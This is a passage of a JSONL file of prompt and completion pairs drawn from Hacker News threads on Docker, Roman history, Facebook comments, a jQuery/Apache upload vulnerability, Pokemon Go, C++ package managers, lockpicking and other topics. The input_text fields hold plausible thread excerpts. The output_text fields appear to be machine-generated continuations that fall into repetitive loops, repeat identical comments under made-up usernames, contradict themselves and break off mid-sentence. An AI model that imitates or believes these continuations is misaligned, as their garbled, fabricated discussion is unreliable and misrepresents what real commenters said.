agree with the \"no more 'well it worked on MY machine'\"\nstatement.\n\nI've been using Docker for a while now, and I've found that it's a great way\nto get a reproducible build environment.\n\n~~~\njoshu\nI guess I should clarify that I'm talking about the \"container\" as a\nreproducible environment.", "input_text": " build that passes\nlocally to also pass on CI. This cuts down on a lot of potential back and\nforth. The only shared dependency between CI/local/prod/staging is docker\nitself.\n\nAnother benefit is (almost) complete isolation. This means rather than having\ndifferent vm images tracking different projects, you can have a single vm\nimage with docker, and have each container running on the vm for any version\nof any build across your system. From a CI perspective you can abstract most\nof the complex configuration for your applications into \"docker build -t\nmyapp_test./Dockerfile.test && docker run myapp_test\".\n\nContainers use a differential filesystem, so N running containers for an\napplication will take up 1 X the size of the container image + N x the average\nspace of changes made in the running containers on top of that base image.\nThis makes larger images highly space efficient without having to worry about\ndifferent instances treading on the same folders.\n\nThe line between dev and ops blurs a little (devops), but clear\nresponsibilities. Ops becomes responsible for maintaining the docker\ninfrastructure, and dev is responsible for everything inside the container\nboundary, the container image, installed packages, code compilation, and how\nthe containers interact. A container mantra is \"no more 'well it worked on MY\nmachine'\". If it works for the dev, it really will work in prod.\n\nBesides this, there a number of benefits around speed, accessibility,\ndebugging, standardization, the list goes on. There are also a ton of great\nand varied Docker CI solutions out there, from specific Docker based CI like\nus (codeship), Shippable, Drone, Circleci, as well as standard solutions like\njenkins via plugins. Many"} +{"output_text": ".\n\n~~~\nanacleto\nI don't think that's the case. He was a very active and energetic man.\n\n------\njhallenworld\nI think the best general was Hannibal. He was a great tactician, and he\nmanaged to defeat the Romans in a series of battles.\n\n~~~\njhallenworld\nI think the best general was Hannibal. He was a great tactician, and he\nmanaged to defeat the Romans in", "input_text": " Pompey had strong political power and run for Console, but on his\nway to power, he found Crassus with the very same goal in mind. The problem is\nthat Crassus was the richest man in Rome (a billionaire compared to today) and\nhe had much more political influence.\n\nPompey (mainly because of Crassus's obstructionism) wasn't able to fully\ncapitalize on his military success.\n\nCaesar well understood that the stagnation was mainly due to the\nCrassus/Pompey (personal) rivalry and offered them to run himself for Console,\n(1) stop the Senate stagnation and (2) approve their reforms.\n\nThe rest is history.\n\n------\nB1FF_PSUVM\n[https://en.wikipedia.org/wiki/Marcus_Vipsanius_Agrippa](https://en.wikipedia.org/wiki/Marcus_Vipsanius_Agrippa)\n\n\"On September 2, 31 BC, the Battle of Actium was fought. Octavian's victory,\nwhich gave him the mastery of Rome and the empire, was mainly due to Agrippa.\"\n\n~~~\nanacleto\nI was about to say the same. Augustus didn't have at the time much battle\nstrategy skills. And in all fairness, military strategy was not his thing.\n\nActium \u2013 like my other battles under August's reign \u2013 was mainly due to\nAgrippa's military skills. In a hypothetical ranking of best Roman generals of\nall time, he should probably be placed somewhere between 1st and 5th place.\n\n~~~\njhellan\nAugustus lived into his late seventies partly due to his poor health, which\nforced him to stay away from many of his battles"} +{"output_text": " title.\n\n~~~\nxqyz\nI think the title is a bit misleading. The article is not about why Facebook\ncomments are a bad idea for your site, but why Facebook comments are a bad\nidea for your site.\n\n------\njoshu\nI think the problem is that the comments are not the same as the content.\n\n------\njoshu\nI think the problem is that the comments are not the same as the content.\n\n------", "input_text": "\n\n------\ngdilla\nI think one advantage of FB comments is that it supposedly cuts down on\ntrolls, spam, and stupid arguments.\n\n~~~\nasdfologist\nYou must be new to FB.\n\n~~~\nxqyz\nOr to the internet in general.\n\n~~~\ngdilla\nJust sayin -\n[http://talkingpointsmemo.com/archives/2012/05/starting_later...](http://talkingpointsmemo.com/archives/2012/05/starting_later_this_week_tpm.php)\n\n~~~\nxqyz\nSame site from the link in the article\n():\n\n> Now the downsides, which are probably determinative for us. First, quite\n> simply a lot of people don\u2019t trust Facebook for reasons that range from\n> quite reasonable to totally paranoid. Second, and more significant in my\n> mind, is that many people don\u2019t want to bring their true identities into the\n> comments section of a political site. [...]\n\n> For those two reasons, especially the second, we\u2019re probably never going to\n> do this.\n\nIt's like \"yeah we know people probably won't like it, but fuck them.\"\n\n~~~\ngdilla\nThey also say it frees up their staff to do their jobs rather than moderating.\nNothing is perfect. They made a tradeoff.\n\n------\nbluetidepro\nTitle: \" _Why Facebook Comments Is A Bad Idea For Your Site_ \" In the article:\n\" _Perhaps in some contexts it makes sense_ \"\n\nParts of the post sound very contradicting to your actually"} +{"output_text": ".com/item?id=9052780](https://news.ycombinator.com/item?id=9052780)\n\n------\njoshstrange\nI'm not sure if this is a good thing or not. I'm not a fan of the idea of\nhaving to \"patch\" my server to get security updates. I'm not sure if this is\nthe right way to go about it.\n\n~~~\nblueimp\nI think", "input_text": " Cashdollar, born and raised. Sometimes I wrote his\nname as 'Larry $$' though.\n\n~~~\nblueimp\nLarry was also super helpful in identifying the underlying issue and very\npolite in his emails.\n\nWould definitely write another security vulnerability into my code again if I\nknew that Larry would report it. ;)\n\n~~~\nlcashdol\nThanks, :-)\n\n------\ngalaxyLogic\nIsn't a JQuery Plugin something that executes on the client-side? If so then\nhow can something on the client-side compromise the security of a server?\nIsn't the fault on the server-side?\n\nOr is this a PHP server-plugin which if installed on a PHP server makes them\ninsecure? But of course anything you install on server can make it insecure.\nNo?\n\n~~~\nrunn1ng\nThere is an example PHP code in the same repo and people copy-pasted that into\nproduction.\n\nThe issue is not in the front-end jQuery library, despite the title.\n\n------\nfulafel\nWhat other vulnerabilities did this backwards-incompatible Apache change\ncause? Probably many people rely on.htaccess, for example to disable access\nto non-public files or disable php execution on a DIY CMS file sharing area.\n\nSounds like the risk from this is not widely known. Probably the correct\nsolution for Apache would have been to detect presence of now-ignored\n.htaccess files and signal an error.\n\n~~~\nblueimp\nThat was my thought as well.\n\nI think one of the reasons nobody reported this earlier was that people simply\nassumed that.htaccess support was the default - Larry Cashdollar, the\nsecurity researcher, also confirmed this:\n[https://news.ycombinator"} +{"output_text": "game).\n\n~~~\nhatsunearu\nI agree with you. I think the game will die out, but I think the social aspect\nwill persist.\n\nI think the game will die out because of the power inflation. I think the\nsocial aspect will persist because of the location data.\n\n------\njoshstrange\nI'm not sure if I'm the only one but I'm not a fan of Pokemon Go. I don't\nthink it's a", "input_text": "\nNintendo is up 35% on Pokemon Go success - derwiki\nhttp://finance.yahoo.com/q?s=NTDOY&ql=1\n======\nhatsunearu\nI want to voice my concerns about the future of Pokemon Go so I'll do it here.\n\nThe power inflation is insane. The game will probably be unplayable to new\nplayers by the end of this month. Unlike Ingress, the game does not have a way\nto \"remove\" power from the game. You can increase the combined combat points\nof your pokemon collection unbound, and you have a massive power inflation\ngoing on. Sure, you get diminishing returns on the training but in the end the\npokemon don't disappear and you have a permanent increase in strength. Ingress\nmechanics always removes XM from the system and you get an equilibrium with\nthe spawn rate of XM and the consumption rate of XM (roughly equal to the rate\nof portal turnover). Pokemon Go has none of that. If this isn't addressed\nproperly I think the game might just die.\n\n~~~\nlubujackson\nThere's two things of interest here. The game itself, which is really thin as\nfar as gameplay and will dry up like a standard MMORPG as people go crazy\nleveling and the initial rush dies down. But the social aspect of meeting up\nat hotspots and dropping lures to get a party started and all that feels like\na new sort of sensation that should persist beyond this one game.\n\nThe real key is the location data from Ingress. There's plenty of room to\nexpand into other games, to create a cross-game persistent world or do any\nnumber of fun things (they already have the original Ingress game and a travel\n"} +{"output_text": " in, we can assume that the probability of finding life on\nother planets is 1.\n\nThis is a very important assumption, and one that is not explicitly stated.\n\n------\njoshu\nI think the most interesting thing about this is that it is a very simple\nmodel.\n\n------\njoshu\nI think the most interesting thing about this is that it is a very simple\nmodel.\n\n------\njoshu\nI think the most interesting", "input_text": " some of the math going on here is interesting and probably has some\ninteresting consequences for people's expectations about means. But I'm not\nsure about that paper...\n\nI want to be generous here and assume I'm misunderstanding, but it does seem a\nbit like the argument begs the question a bit.\n\nThe intended conclusion is that we should consider non-earth-like (i.e. non-\nearth-sized) planets as just as likely to be inhabited as earth-like planets.\nWhich is to say that we shouldn't expect that population density is strongly\ncorrelated with planet size.\n\nAnd this is shown starting from a model where \"mean population density is\ninvariant to planet size\". Hmm...\n\n------\nTouche\nSomething not mentioned here is the relationship between oxygen levels in the\natmosphere and the size of animals on a planet. During the era of giant\ncreatures (dinosaurs) the atmosphere was around 35% oxygen, today it is about\n21%.\n\n------\nHoushalter\nThis strikes me as very similar to the simulation argument. That is most\nbeings probably exist in simulations, and therefore you are far more likely to\nexist in a simulation than be a living person. Or similar anthropic arguments\ncould be made about many things. You are more likely to be living in a bigger\ncountry, you are more likely to be living in the period of time where Earth's\npopulation is the largest, etc.\n\n------\nGrantS\nInteresting analysis, but after reading the FAQ at the bottom, it rests upon\nquite a few important hidden assumptions. For example:\n\n>However if there is any hope of finding life on other planets, there must be\na huge number of planets with life in the Universe. Therefore, for the case\nwe're interested"} +{"output_text": "\nI am not sure if this is a good idea.\n\nI am using conan for a while now and it is really good. But I am not sure if\nit is a good idea to use it for a project that is not related to C++.\n\nI am not sure if it is a good idea to use it for a project that is not related\nto C++.\n\nI am not sure if it is a good idea to use it for a project", "input_text": "Microsoft/vcpkg/blob/master/docs/about/faq.md#why-\nnot-conan)\n\n~~~\nhoistbypetard\nThanks. It looks like at least the third bullet has been reconsidered, based\non this announcement.\n\nBut I think the front matter on that section gives (at least for what I'm\nafter) a pretty good start on an answer to my question. They aim to version\nall libraries together as a platform (like, say, homebrew or yum+rpm). Where\nConan aims to behave a little more like what I'd term \"pypi for C++\". That is,\nif I'm reading this correctly, and I'm not yet certain that I am.\n\nOne thing that I want to do, and it's clear to me how I'd do it with conan (or\npip) but not yet clear to me how I'd do it with vcpkg, is have a version of a\npackage that's available in a public repository also be available in my\ninternal repository with some added private patches, and have my version \"win\"\nfor my projects.\n\nOur recurring need for this is when we're building out patches that we want to\nhave incorporated upstream but aren't ready to do that yet for one of many\nreasons.\n\n------\njclay\nWe've been using vcpkg on Windows and it's really made the process of managing\nc++ dependencies far less painful. Great to see this coming cross-platform as\nwe can now simplify the dependency section of our install guide to one line.\n\nvcpkg install boost cgal [etc...]\n\nTheir team has also been super friendly and responsive on Github. Looking\nforward to seeing where this goes.\n\n------\n0xFFC"} +{"output_text": " like a\nbit of a stretch.\n\n>He says he\u2019s an empiricist and that data have convinced him he was dead\nwrong.\n\nI'm not sure I agree with this. I think the author is making a point about\nhow the author's own experience has changed his mind. I think it's a good\npoint, but I don't think it's a \"data\" point.\n\n~~~\njrockway\n_I think the author is", "input_text": "\nknodi123\n> Dammit, Raymond Chen is out of pocket for a refund on that guy's\n> subscription.\n\n?!? That sounded like a positive review from somebody who liked the article.\nHe says it's neither amazingly interesting nor technical, but still good\nenough to bookmark.\n\n~~~\naryamaan\nWoah, I misread it too and in retrospective, it looks like an honest mistake\nto make. That pessage could mean the both things (could give positive or\nnegative intent). I wonder what other such good examples can be. And does such\nphenomenon is called with some name?\n\n~~~\nFroshKiller\nIt's called a backhanded compliment.\n\n \nMake something and sell it - J3L2404\nhttp://www.johndcook.com/blog/2010/01/22/make-something-and-sell-it/\n======\nactf\nI think this article presents an interesting argument, even though much of it\nis anecdotal. Some of the author's points are very interesting:\n\n> He says he\u2019s an empiricist and that data have convinced him he was dead\n> wrong. He now says that the idea of giving away intellectual property as\n> advertising bait is unsustainable and will have dire consequences.\n\nIt's too bad the author doesn't go into more detail about this. I'm curious to\nsee his \"data\".\n\n>It\u2019s OK for a potter to sell pots, but a musician should not sell music.\n\nI think I agree with the author - why should a musician not be able to sell\ntheir music if they choose. Those who choose to give their music away for free\ncan do so, but suggesting that it's morally wrong to sell music seems"} +{"output_text": "licensed by the state.\n\n[1] [http://www.amazon.com/Visual-Guide-Lockpicking-\nLockpickers-S...](http://www.amazon.com/Visual-Guide-Lockpicking-Lockpickers-\nSafes/dp/1584231558)\n\n[2] [http://www.amazon.com/MIT-Guide-Lockpicking-\nLockpickers/dp/0...](http", "input_text": "~~~\nHomunculiheaded\nI was going to say, a weekend studying lock picking (which is definitely a fun\nthing to learn) and you can probably pick open a great majority of the houses\nout there in very little time... however, even if not practical this research\nis pretty interesting\n\n~~~\nseats\nAny recommendation on the best way to learn lock picking?\n\n~~~\nHomunculiheaded\nSure! I'm very much a novice but: I started with 'Visual Guide to Lockpicking'\n[1] although 'MIT Guide to Lock Picking' [2] is very good and also free. After\nyou get the basic mechanics of locks and lock-picking down you really just\nneed to practice. Get yourself a set of lock-picks online (also look at your\nstate laws for lock-picks, in many states only a licensed locksmith can carry\nthem around so it may be a good idea to keep them at home, and avoid doing\nthings like leaving them in your car/pocket. I believe some US states make it\nout right illegal to possess them, so just be aware).\n\nSome places will sell practice locks with pins removed, but do not buy them,\nthey are way overpriced and if you really want to understand the mechanics of\nlocks it will serve you well to bust one open. So go to a hardware store and\npick up an inexpensive but not cheap lock, crack it open and remove some of\nthe pins (even all but one), add/remove/reorder the pins until you are really\ngood, and then buy more locks.\n\nAlso do keep the law in mind, when I looked it up it's illegal in most if not\nall states to pick locks that you do not own if you are a not a locksmith\n"} +{"output_text": " to get things done.\n\nThe power talk is a very important part of the corporate culture. It is\nimportant to understand the power talk, and how it works.\n\nThe power talk is a very important part of the corporate culture. It is\nimportant to understand the power talk, and how it works.\n\nThe power talk is a very important part of the corporate culture. It is\nimportant to understand the power talk, and how it works.\n\nThe power talk", "input_text": ". If you take this as\nfailure of management, you _can_ make demands from strength (of course in a\ndiplomatic and understanding way).\n\nAt any time, dev work may make you miss deadlines, and where's that\nreplacement?\n\n------\nkstrauser\n\"We don't have a training budget right now, for you anyway, but that will\nchange next year.\"\n\n~~~\nbrodouevencode\nSimilar to \"get certified and we'll see about getting you a raise\".\n\nGets certified, no raise.\n\n------\ntommilukkarinen\nI dont consider anything bs unless its about money or equivalent. I Dont say\nanything at first or something like 'I think about it'. Think about My\nresponse, and finally Ask on something around these lines: \"So your suggestion\nis X? And it would, unfairly, cause me Y?\"\n\n------\nBalgair\nYou need to understand the underlying dynamics of the modern corporation.\n\nEach one is structured differently, but they have general similarities. It\ntakes some time and study, though. One of the best lenses I have found to view\nthe corporation is 'The Gervais Principle'[0], now about 10 years young. Rao\nuses 'The Office' to illustrate the dynamics of the modern corporation.\n\nBroadly speaking: Sociopaths, in their own best interests, knowingly promote\nover-performing Losers into Clueless middle-management, groom under-performing\nLosers into Sociopaths, and leave the average bare-minimum-effort Losers to\nfend for themselves.\n\nOne of the key lenses is the idea of 'talk' and how people in a corporation\ntalk to each other. Specifically, the 'power talk' of how"} +{"output_text": " mean, it\u2019s not like\nAndroid/iOS are going to change their UI anytime soon.\n\n~~~\nYetAnotherNick\nI think it's a good idea to have a native look and feel. But I don't think\nthat's the only thing that matters.\n\n~~~\nSignez\nI agree, but I think it's a bit of a stretch to say that it's the only thing\nthat matters.\n\n------\njameslk\nI'm not", "input_text": " probably the leading contemporary\napproaches for cross platform mobile.\n\n~~~\nYetAnotherNick\nI think it's written for ReactNative as no javascript is a strange wording. I\ndon't care as much for javascript as that for much less responsive webview.\n\n------\nsetquk\nMight want to check the name for trademark violation...\n\n------\nblueprint\nCan it ensure full access to native SDKs?\n\n~~~\nYetAnotherNick\nIt's open source. You can add any SDK you want. \"ensure\": no.\n\n------\nesokullu\nhow is this different from qt-mobile?\n\n~~~\nrhodysurf\nit uses C++ and not QML for the interface, the UI components are actually\nnative, you can use templates, etc.\n\n~~~\nk__\nSo it's like React-Native, but wirh C++ instead of JS?\n\n~~~\nrhodysurf\nYes exactly. If you look at the code, it basically is just using pure virtual\nprovider classes to allow JNI on android and OBJC++ on iOS to provide the\nnative system UI components. Its pretty elegant actually.\n\nThe only problem becomes that it is a lot of code to manually maintain or\nbootstrap. And possibly a decent amount of effort to add new platform widgets,\nbut I didn't look very deeply into how exactly that would be done.\n\n------\nSignez\n> Native widgets: Instead of drawing widgets that look nearly identical to the\n> platform's design, Boden uses native OEM widgets ensuring that your app will\n> always have a truly native look and feel.\n\nWhile I fully understand the underlying concept, I don\u2019t understand why so\nmany people seems to be bothered by that anymore; I"} +{"output_text": " to a lot of code pointer chasing.\n\n~~~\nwillvarfar\nI'm not sure if you're asking about the compiler or the compiler-compiler\ncombination.\n\nThe compiler is a separate project, and the compiler-compiler combination is\nthe subject of the talk.\n\n~~~\nfleitz\nI'm asking about the compiler.\n\n~~~\nwillvarfar\nAh, I see.\n\nI'm not sure if you're asking about the compiler or", "input_text": ", and the porting effort was interrupted by their emergence\nfrom stealth mode to file patents.\n\n~~~\nMjolnir\nThanks, I'll have a look at the talks.\n\n------\nfleitz\nGreat idea, since it's all theoretical currently I'm wondering with the\ncompiler offloading how well it will actually perform. Itanium was capable of\ndoing some amazing things, but the compiler tech never quite worked out.\n\n~~~\nwillvarfar\nAh, but the Mill was primarily designed by a compiler writer ;)\n\nHere's Ivan's bio that is tagged on his talks:\n\n\"Ivan Godard has designed, implemented or led the teams for 11 compilers for a\nvariety of languages and targets, an operating system, an object-oriented\ndatabase, and four instruction set architectures. He participated in the\nrevision of Algol68 and is mentioned in its Report, was on the Green team that\nwon the Ada language competition, designed the Mary family of system\nimplementation languages, and was founding editor of the Machine Oriented\nLanguages Bulletin. He is a Member Emeritus of IFIPS Working Group 2.4\n(Implementation languages) and was a member of the committee that produced the\nIEEE and ISO floating-point standard 754-2011.\"\n\nSo actually its been designed almost compiler-first :)\n\n~~~\nfleitz\nStill interested in how it works in practice. I'm pretty sure the Itanium team\ncombined with Intel's compiler team have similar credentials.\n\nI'm not saying it can't work, not saying it won't work, but we know that most\ncode pointer chases. While CPU and compiler design is above my paygrade I know\nthat often a lot of fancy CPU/design and compiler tricks that make things\ntwice as fast on some benchmark leads"} +{"output_text": " a job.\n\n[1] [http://www.kalzumeus.com/2012/01/31/dont-call-yourself-a-\npro...](http://www.kalzumeus.com/2012/01/31/dont-call-yourself-a-programmer/)\n\n[2] [http://www.kalzumeus.com/2012/02/01/salary-\nnegotiation/](http", "input_text": "?\n\n------\ndylangs1030\nI'm a bit late to this, but I'll give you my experience. It echoes what others\nhave said to some extent.\n\nIn every instance I've applied for a job, it began with my casually (but\nassertively) stating interest. Here is the process I go through (you could\ncall it my job hunting \"workflow\"):\n\n1\\. I read about an interesting company or meet/talk to someone with\nconnections to an interesting company.\n\n2\\. I learn what I can about them, researching for a few hours, deciding if\nI'd enjoy it (on a cursory level).\n\n3\\. I contact people with _decision making ability_ and politely but\nassertively state my interest. Note - I don't send a resume (you can, I\ndon't).\n\n4\\. Most cases, I've gotten through an entire hiring process without being\nasked for a resume. If they happen to ask, it generally suffices to show them\nmy portfolio of prior work. This is in fact as simple as linking the list of\nprojects I've authored on my blog with corresponding code.\n\n5\\. Technical interview(s). Negotiation. Wrap up. Bam, you're done.\n\nI highly, _highly_ suggest you read patio11's \"Don't Call Yourself a\nProgrammer\"[1] and \"Salary Negotiation\"[2]. No, really, read both. Absorb\nevery kernel of knowledge.\n\nThe importance of a resume is _grossly_ overestimated, as is the importance of\na transcript. Don't show a piece of paper, show the knowledge that your\neducation provided you with. Connections are important, and will field you the\nmost significant leads in finding"} +{"output_text": " minute window.\n\n~~~\n_nedR\nI know, but it's a hack. I'm not saying it's a good hack.\n\n------\nmglinski\nI'm not sure if this is a good idea, but it's a good idea to have a way to\nlogout of Skype.\n\n------\nmglinski\nI'm not sure if this is a good idea, but it's a good idea to have a way to\nlogout of", "input_text": " the need for a global state. But without central server, this can only\nbe achieved with DHT, where the first two problems are even worse. Note the\nexisting DHTs are all used for long running \"sessions\" where the session is\nthe availability of a torrent. User presence is a lot more ephemeral.\n\nAnd there's the original problem for P2P apps, of course: bootstrapping. Peers\ndon't come online knowing all their other peers on the Internet. There has to\nbe a way for them to discover each other, which, without Internet-wide\nmulticast, means a central server. If you're going to have to solve this\nproblem, you might as well solve the others.\n\nThere is actually a thread on p2p-hackers mailing list about this exact issue.\nMany experienced P2P devs agreed that whenever you can get away with a\ncentralized solution, you should go for it. In this context, partially\ncentralizing Skype as they did makes complete sense.\n\n------\nvbezhenar\nAnother concern: modern HTTPS use SNI standard and those who sniff your\ntraffic, can extract the hostname from this traffic, because it's not\nencrypted yet. So DNS sniffing is not necessary, if I understand everything\ncorrectly.\n\nI would consider that as misuse of DNS. User id must be in request parameter\nor path, not in hostname.\n\n------\n_nedR\nWhile you're at it Microsoft, please also give a way for users to remotely log\nout all active sessions on other computers and devices.\n\n~~~\nmglinski\nIt's a terrible hack, but changing your Skype password via their website does\nlog you out of all active sessions within a 2-5"} +{"output_text": "------\njchw\nI\u2019m not sure I understand the point of this. It seems like it\u2019s just a\ndifferent way of saying \u201cdon\u2019t use Docker\u201d.\n\n~~~\njchw\nI guess I\u2019m not understanding the point of this. It seems like it\u2019s just a\ndifferent way of saying \u201cdon\u2019t use Docker\u201d.\n\n~~~\njchw\nI guess I\u2019m not understanding the point of this. It seems", "input_text": " without explicitly pulling from Docker Hub.\n\nIn the case that you're building new images (likely), it'll need to pull the\nbase images from Docker Hub. However, if you pull the base image(s) from\nDocker Hub first, you can tag them and store them in your local (or hosted)\nregistry, then refer to those explicitly instead.\n\nFor example (using a Cloudsmith hosted registry):\n\n \n \n docker pull alpine:3.8\n docker tag alpine:3.8 docker.cloudsmith.io/your-account/your-repo/alpine:3.8\n docker push docker.cloudsmith.io/your-account/your-repo/alpine:3.8\n \n\nNow, instead of the usual FROM directive:\n\n \n \n FROM alpine:3.8\n \n\nYou can refer to your own copy of alpine:\n\n \n \n FROM docker.cloudsmith.io/your-account/your-repo/alpine:3.8\n \n\nAs you can see Docker's syntax doesn't make this extremely pleasant, and\nyou'll have to change existing Dockerfiles to point at the base images, but\nit's certainly possible to mirror your dependencies without rebuilding.\n\nCaveat: The downside is that you have to trust those dependencies at the exact\npoint you pull them down, so I concede it is still not perfect _without_\nrebuilding the lot. :-)\n\n------\nlumjjb\nAnother reason to have Encrypted Container Images :)\n[https://github.com/opencontainers/image-\nspec/issues/747](https://github.com/opencontainers/image-spec/issues/747)\n\n"} +{"output_text": " sugar\" in the same way\nthat we are \"addicted to heroin\".\n\n~~~\nmistercow\n>I took addictive in the sense that we are \"addicted to sugar\" in the same\nway that we are \"addicted to heroin\".\n\nI don't think that's a fair comparison. I don't think heroin is addictive in\nthe same way that sugar is.\n\n~~~\njere\nI don't think it's fair to say that", "input_text": "\n\"I believe that the solution to this problem is exercise, and those who would\nlike to decrease their weight should try different sport activities.\"\n\nWhat about eating healthier? That strikes me as a more effective and\nmaintainable solution.\n\n~~~\nbonesinger\nyou are absolutely right. Eating healthy is more important than exercise and\nthe two together will lead to an overall improvement in health.\n\n[http://www.sciencedaily.com/releases/2012/10/121015142405.ht...](http://www.sciencedaily.com/releases/2012/10/121015142405.htm)\n\nThough its a small sample and an extreme one at that, the contestants' diets\naccounted for approximately 65% of their weight loss.\n\n~~~\neru\n> Eating healthy is more important than exercise\n\nFor losing weight. For health in general, both seem about equally important.\n(And lots of exercise will allow you to get away with a crappy diet much\neasier.)\n\n------\nmistercow\n>Chinese people are now so addicted to sugar\n\nThis is supposed to be a list of \"facts\" but in reality, the \"sugar is\naddictive\" hypothesis is still, well, a hypothesis.\n\n>that the government is scared that there will be political unrest if the\nprice of sugar goes up\n\nIt's the _Chinese government_. \"Scared that there will be political unrest if\nX\" is their default state for any untested X.\n\n~~~\njere\n>This is supposed to be a list of \"facts\" but in reality, the \"sugar is\naddictive\" hypothesis is still, well, a hypothesis.\n\nI took addictive in the sense that we are \"addicted to"} +{"output_text": "quarterly_results/)\n\n~~~\njlgaddis\n> _You missed Red Hat, who seem to be the only company having major success\n> with OpenStack_\n\nI'm not sure I'd call Red Hat \"major success\" with OpenStack.\n\n~~~\nnul_byte\nI'm not sure what you mean by \"major success\" \\- Red Hat are the only company\nto have a significant amount of OpenStack deployments.\n\n~~~\n", "input_text": "\nIBM is in a continual process of downsizing its hardware divisions in pursuit\nof higher earnings per share. It seems their big push is cloudfoundry, which\nseems to be more about containers and k8s.\n\nSo why are they bailing? I'm guessing:\n\n\\- it's way harder to hire support staff for OpenStack, than VMWare \\- AWS\nreduces capital costs and upfront investments \\- Customers on existing\nsolutions aren't prepared to take advantage of new opportunities \\- Many of\nthese companies have existing product lines they don't wish to disrupt\n\n~~~\nnul_byte\nYou missed Red Hat, who seem to be the only company having major success with\nOpenStack [1]\n\nMost of IBM, Intel, HPE etc have thrown in the towel and now offer their own\nservices on top of Red Hat OpenStack.\n\nOpenStack has now found itself beyond enterprise, and now being the de-facto\nplatform for NFV running mobile networks, and I guess Red Hat are becoming the\nwinner here as they are so used to supporting an OpenStack 'type of'\ninfrastructure for large bodies such as banking, telco, health etc. When you\nconsider Red Hat are already large well established contributors to all of the\nlayers of the OpenStack'stack' such as KVM/QEMU, libvirt, the kernel itself,\n+ overlay networking tech such as OVS, and now DPDK, you can see why they are\nwell positioned to support and run OpenStack clouds.\n\n[1]\n[https://www.theregister.co.uk/2017/03/28/red_hat_cloud_quart...](https://www.theregister.co.uk/2017/03/28/red_hat_cloud_"} +{"output_text": " not perfect.\n\n------\njamesjguthrie\nI'm not sure I understand the point of this article.\n\nThe author is saying that 3D printing is a fad, and that it will be replaced\nby something else.\n\nI don't think that's true. I think 3D printing is a fad, but it's a fad that\nwill be replaced by something else.\n\n~~~\njamesjguthrie\nI'm", "input_text": " cheaper in many area's. People spend a lot of money on Lego and with that\nalone the market for 3D printers has a place. Not saying rip of Lego bricks\nbut that people like to play and create things and whilst Lego is targeted at\nchildren it still endures with many a adult.\n\nInitialy with the costs of a good printer that can use robust 3D ink we will\nsee your local printers embacing the new avenue and many other outlets\noffering a 3D printing service. The home consumer market will grow, costs will\ndrop but. As I said with the initial introduction of laser printers and other\nprinting types, initial they were expensive, but only got better and cheaper\nand permuated into more purchsing budgets/needs over using your local print\nshop.\n\nWith markets most people will work out the direction and then end up dooming\nit all as it does not happen as quickly as they can think about it. Markets\nare funny slow beasts that operate on various timelines and with new\ntechnology the initial market is the niche that opens the crack or not into\nlarger markets. I certainly see a larger market given the ever expanding craft\nmarket and with the same insight into how laser printers started and ended up\nat, let alone coloured printing, which was many years ago the work of a\ndedicated print shop.\n\nALso worth remembering that industry today has milling machines and flow-jet\nwhich will take a solid block of metal and turn it into your defined shape. 3D\nprinting is not metal and with that is targeting different markets and we are\na long way from the univeral replicator perception most seem to think 3D\nprinting is. That is a long way off, heck how long has it taken to get the\nperfect monitor, close but still"} +{"output_text": " to reproduce the work. But you don't own the work itself.\n\n~~~\nxn\nI think the difference is that the image is not the work itself. It is a\nvisual representation of the work.\n\n------\njoshu\nI think the problem is that the image is not the work.\n\n------\njoshu\nI think the problem is that the image is not the work.\n\n------\njoshu\nI think the problem is", "input_text": " works?\n\nSurely this has come up before yet I am having trouble finding a similar case.\n\n------\nEGreg\nThis is the problem with importing PUBLIC CONTENT YOU FIND ON THE INTERNET\ninto a website. Not uploading from your computer, or importing from your own\naccount somewhere on another site. If the website actually makes a copy of the\nmedia (picture, etc.) and stores it on their servers, they should hope that\nthe DMCA still considers them a safe harbor.\n\nI think their best bet is to store the images only as a cache, and not as a\npermanent import. If the site owner decides to take down the original, then\nthe cache should disappear soon thereafter.\n\n------\ndanboarder\nPinterest is more like a visual social bookmarking service than a blog. When\npeople save bookmarks or share links on delicious or reddit or even twitter,\nof course they don't claim ownership of that content, it's just a bookmark.\nSimilarly, with Pintrest people are saving a visual bookmark of something they\nsaw that was interesting out on the web or on other social streams, tumblr,\netc. I think a lot of people are missing the point here.\n\n------\nxn\nIf posting an image with a comment is fair use, then arguably the combination\nof the image and the comment constitute the Member Content for which the\nposter is claiming ownership.\n\nIf I publish a review of a work of art, including a reproduction of the work,\nin a magazine, my copyright would cover the entire article including the\nreproduction. I wouldn't be claiming copyright on the original work.\n\n~~~\najross\nThat's pretty much how I see it too. Yes, you own the review, which includes\nthe right"} +{"output_text": " so.\n\n~~~\nbennesvig\nI'm not sure about the effectiveness of the device for naps, but I can tell\nyou that I've been using it for a few hours a day for the last few weeks and\nI'm definitely feeling more alert and awake.\n\n------\nbennesvig\nI'm not sure if this is the right place to ask this, but I'm curious if anyone\nhas any experience with the sleep tracker. I'm thinking", "input_text": " on 25th Nov 2009, refunded\non 4th August 2010 but with a shortfall due to currency conversion differences\nso I'm basically out of pocket (admittedly only a bit) due to lack of product.\n\nAs I've said previously, I actually don't even own the phone anymore that I\nintended to use this product with. I just hope for the sake of the company\nthat this is the beginning of the end of their constant problems.\n\n------\nbennesvig\nDo you guys not have a fan page on Facebook?\n\n------\nkgutteridge\nWell done guys, shipping a hardware and a software product was never going to\nbe easy! hopefully you can now reap the rewards though of having a hardware\nproduct, thats far far harder to replicate\n\npre ordered back in April so looking forward to receiving sometime in the new\nyear I suspect, as it will be an international order.\n\n------\nbrianmwang\nFYI, the following repeats under your FAQ question \"What is an 'optimal wake\npoint?'\"\n\nAn optimal wake moment can be thought of as a \"semi-awake\" moment \u2013 the\nlightest point in your sleep. Waking at these times will result in minimal\nsleep inertia or grogginess. More info can be found here: The Science of\nWaking\n\n------\njiganti\nSounds cool! Just ordered mine. I think you guys are addressing a real problem\nhere, hopefully it works well.\n\n------\njtagen\nDoes anyone know if this can be used effectively for power naps throughout the\nday? I'd love to nap, but tend to sleep for an hour plus. If I set a\ntraditional alarm, I always feel like I'm jarred awake and a little off for\nthe next hour or"} +{"output_text": "place_back](http://en.cppreference.com/w/cpp/container/vector/emplace_back)\n\n------\njokoon\nI don't understand why the author is so obsessed with the growth factor.\n\nI think the real problem is that the standard library is not optimized for\nperformance.\n\nI think the author is right that the standard library is not optimized for\nperformance, but I don't think it's the fault of the standard library", "input_text": "\nA few years ago I tried to get a reallic which did not move (instead returned\nfail) into glibc and jealloc and failed. Glad to see someone else has\nsucceeded.\n\n------\nshin_lao\nI think the Folly small vector library is much more interesting and can yield\nbetter performance (if you hit the sweet 